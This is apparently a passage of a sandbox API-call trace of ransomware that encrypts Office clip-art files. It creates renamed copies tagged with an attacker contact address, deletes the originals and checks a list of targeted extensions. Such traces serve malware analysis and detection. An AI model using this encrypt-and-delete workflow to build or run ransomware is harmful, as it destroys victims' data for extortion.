hTemplateFile=0x0) returned 0x394 [0144.282] GetLastError () returned 0x0 [0144.282] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x61c, lpOverlapped=0x0) returned 1 [0144.287] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x620, lpOverlapped=0x0) returned 1 [0144.288] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.288] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.288] SetEndOfFile (hFile=0x394) returned 1 [0144.288] CloseHandle (hObject=0x394) returned 1 [0144.288] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.288] SetEndOfFile (hFile=0x3b4) returned 1 [0144.290] CloseHandle (hObject=0x3b4) returned 1 [0144.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 1 [0144.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.291] lstrlenW (lpString=".doc") returned 4 [0144.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.292] lstrlenW (lpString=".docx") returned 5 [0144.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.292] lstrlenW (lpString=".pdf") returned 4 [0144.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.292] lstrlenW (lpString=".xls") returned 4 [0144.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.292] lstrlenW (lpString=".xlsx") returned 5 [0144.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.292] lstrlenW (lpString=".ppt") returned 4 [0144.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.292] lstrlenW (lpString=".zip") returned 4 [0144.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.292] lstrlenW (lpString=".rar") returned 4 [0144.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.292] lstrlenW (lpString=".bz2") returned 4 [0144.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.292] lstrlenW (lpString=".7z") returned 3 [0144.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.292] lstrlenW (lpString=".dbf") returned 4 [0144.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.292] lstrlenW (lpString=".1cd") returned 4 [0144.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.292] lstrlenW (lpString=".jpg") returned 4 [0144.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.292] lstrlenW (lpString=".doc") returned 4 [0144.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.292] lstrlenW (lpString=".docx") returned 5 [0144.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.292] lstrlenW (lpString=".pdf") returned 4 [0144.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.293] lstrlenW (lpString=".xls") returned 4 [0144.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.293] lstrlenW (lpString=".xlsx") returned 5 [0144.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.293] lstrlenW (lpString=".ppt") returned 4 [0144.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.293] lstrlenW (lpString=".zip") returned 4 [0144.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.293] lstrlenW (lpString=".rar") returned 4 [0144.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.293] lstrlenW (lpString=".bz2") returned 4 [0144.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.293] lstrlenW (lpString=".7z") returned 3 [0144.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.293] lstrlenW (lpString=".dbf") returned 4 [0144.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.293] lstrlenW (lpString=".1cd") returned 4 [0144.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63 [0144.293] lstrlenW (lpString=".jpg") returned 4 [0144.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.293] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.293] lstrlenW (lpString="FD02115_.WMF") returned 12 [0144.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0144.318] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4660) returned 1 [0144.318] CloseHandle (hObject=0x3b4) returned 1 [0144.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20 [0144.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0144.319] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.319] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0144.319] GetLastError () returned 0x0 [0144.319] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1234, lpOverlapped=0x0) returned 1 [0144.331] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1240, lpOverlapped=0x0) returned 1 [0144.332] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.332] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.332] SetEndOfFile (hFile=0x394) returned 1 [0144.334] CloseHandle (hObject=0x394) returned 1 [0144.335] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.335] SetEndOfFile (hFile=0x3b4) returned 1 [0144.337] CloseHandle (hObject=0x3b4) returned 1 [0144.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0144.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.338] lstrlenW (lpString=".doc") returned 4 [0144.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.338] lstrlenW (lpString=".docx") returned 5 [0144.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.338] lstrlenW (lpString=".pdf") returned 4 [0144.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.338] lstrlenW (lpString=".xls") returned 4 [0144.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.338] lstrlenW (lpString=".xlsx") returned 5 [0144.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.338] lstrlenW (lpString=".ppt") returned 4 [0144.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.338] lstrlenW (lpString=".zip") returned 4 [0144.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.338] lstrlenW (lpString=".rar") returned 4 [0144.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.338] lstrlenW (lpString=".bz2") returned 4 [0144.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.338] lstrlenW (lpString=".7z") returned 3 [0144.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.338] lstrlenW (lpString=".dbf") returned 4 [0144.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.338] lstrlenW (lpString=".1cd") returned 4 [0144.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.338] lstrlenW (lpString=".jpg") returned 4 [0144.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.338] lstrlenW (lpString=".doc") returned 4 [0144.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.339] lstrlenW (lpString=".docx") returned 5 [0144.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.339] lstrlenW (lpString=".pdf") returned 4 [0144.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.339] lstrlenW (lpString=".xls") returned 4 [0144.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.339] lstrlenW (lpString=".xlsx") returned 5 [0144.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.339] lstrlenW (lpString=".ppt") returned 4 [0144.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.339] lstrlenW (lpString=".zip") returned 4 [0144.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.339] lstrlenW (lpString=".rar") returned 4 [0144.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.339] lstrlenW (lpString=".bz2") returned 4 [0144.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.339] lstrlenW (lpString=".7z") returned 3 [0144.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.339] lstrlenW (lpString=".dbf") returned 4 [0144.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.339] lstrlenW (lpString=".1cd") returned 4 [0144.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63 [0144.339] lstrlenW (lpString=".jpg") returned 4 [0144.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.339] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0144.339] lstrlenW (lpString="FD02153_.WMF") returned 12 [0144.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0144.340] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5392) returned 1 [0144.340] CloseHandle (hObject=0x3b4) returned 1 [0144.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0144.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0144.340] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.341] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0144.341] GetLastError () returned 0x0 [0144.341] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1510, lpOverlapped=0x0) returned 1 [0144.399] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1520, lpOverlapped=0x0) returned 1 [0144.400] ReadFile (in: hFile=0x3b4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.400] WriteFile (in: hFile=0x394, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.400] SetEndOfFile (hFile=0x394) returned 1 [0144.400] CloseHandle (hObject=0x394) returned 1 [0144.400] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.400] SetEndOfFile (hFile=0x3b4) returned 1 [0145.047] CloseHandle (hObject=0x3b4) returned 1 [0145.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 1 [0145.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.266] lstrlenW (lpString=".doc") returned 4 [0145.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.266] lstrlenW (lpString=".docx") returned 5 [0145.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.266] lstrlenW (lpString=".pdf") returned 4 [0145.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.266] lstrlenW (lpString=".xls") returned 4 [0145.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.267] lstrlenW (lpString=".xlsx") returned 5 [0145.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.267] lstrlenW (lpString=".ppt") returned 4 [0145.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.267] lstrlenW (lpString=".zip") returned 4 [0145.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.267] lstrlenW (lpString=".rar") returned 4 [0145.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.267] lstrlenW (lpString=".bz2") returned 4 [0145.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.267] lstrlenW (lpString=".7z") returned 3 [0145.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.267] lstrlenW (lpString=".dbf") returned 4 [0145.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.267] lstrlenW (lpString=".1cd") returned 4 [0145.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.267] lstrlenW (lpString=".jpg") returned 4 [0145.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.267] lstrlenW (lpString=".doc") returned 4 [0145.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.267] lstrlenW (lpString=".docx") returned 5 [0145.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.267] lstrlenW (lpString=".pdf") returned 4 [0145.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.267] lstrlenW (lpString=".xls") returned 4 [0145.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.267] lstrlenW (lpString=".xlsx") returned 5 [0145.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.267] lstrlenW (lpString=".ppt") returned 4 [0145.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.268] lstrlenW (lpString=".zip") returned 4 [0145.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.268] lstrlenW (lpString=".rar") returned 4 [0145.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString=".bz2") returned 4 [0145.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString=".7z") returned 3 [0145.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.268] lstrlenW (lpString=".dbf") returned 4 [0145.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.268] lstrlenW (lpString=".1cd") returned 4 [0145.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned 63 [0145.268] lstrlenW (lpString=".jpg") returned 4 [0145.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.268] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.268] lstrlenW (lpString="FD02161_.WMF") returned 12 [0145.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.402] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3128) returned 1 [0145.403] CloseHandle (hObject=0x328) returned 1 [0145.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0145.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0145.403] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.403] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0145.404] GetLastError () returned 0x0 [0145.404] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xc38, lpOverlapped=0x0) returned 1 [0145.405] WriteFile (in: hFile=0x3d0, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc40, lpOverlapped=0x0) returned 1 [0145.406] ReadFile (in: hFile=0x328, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, 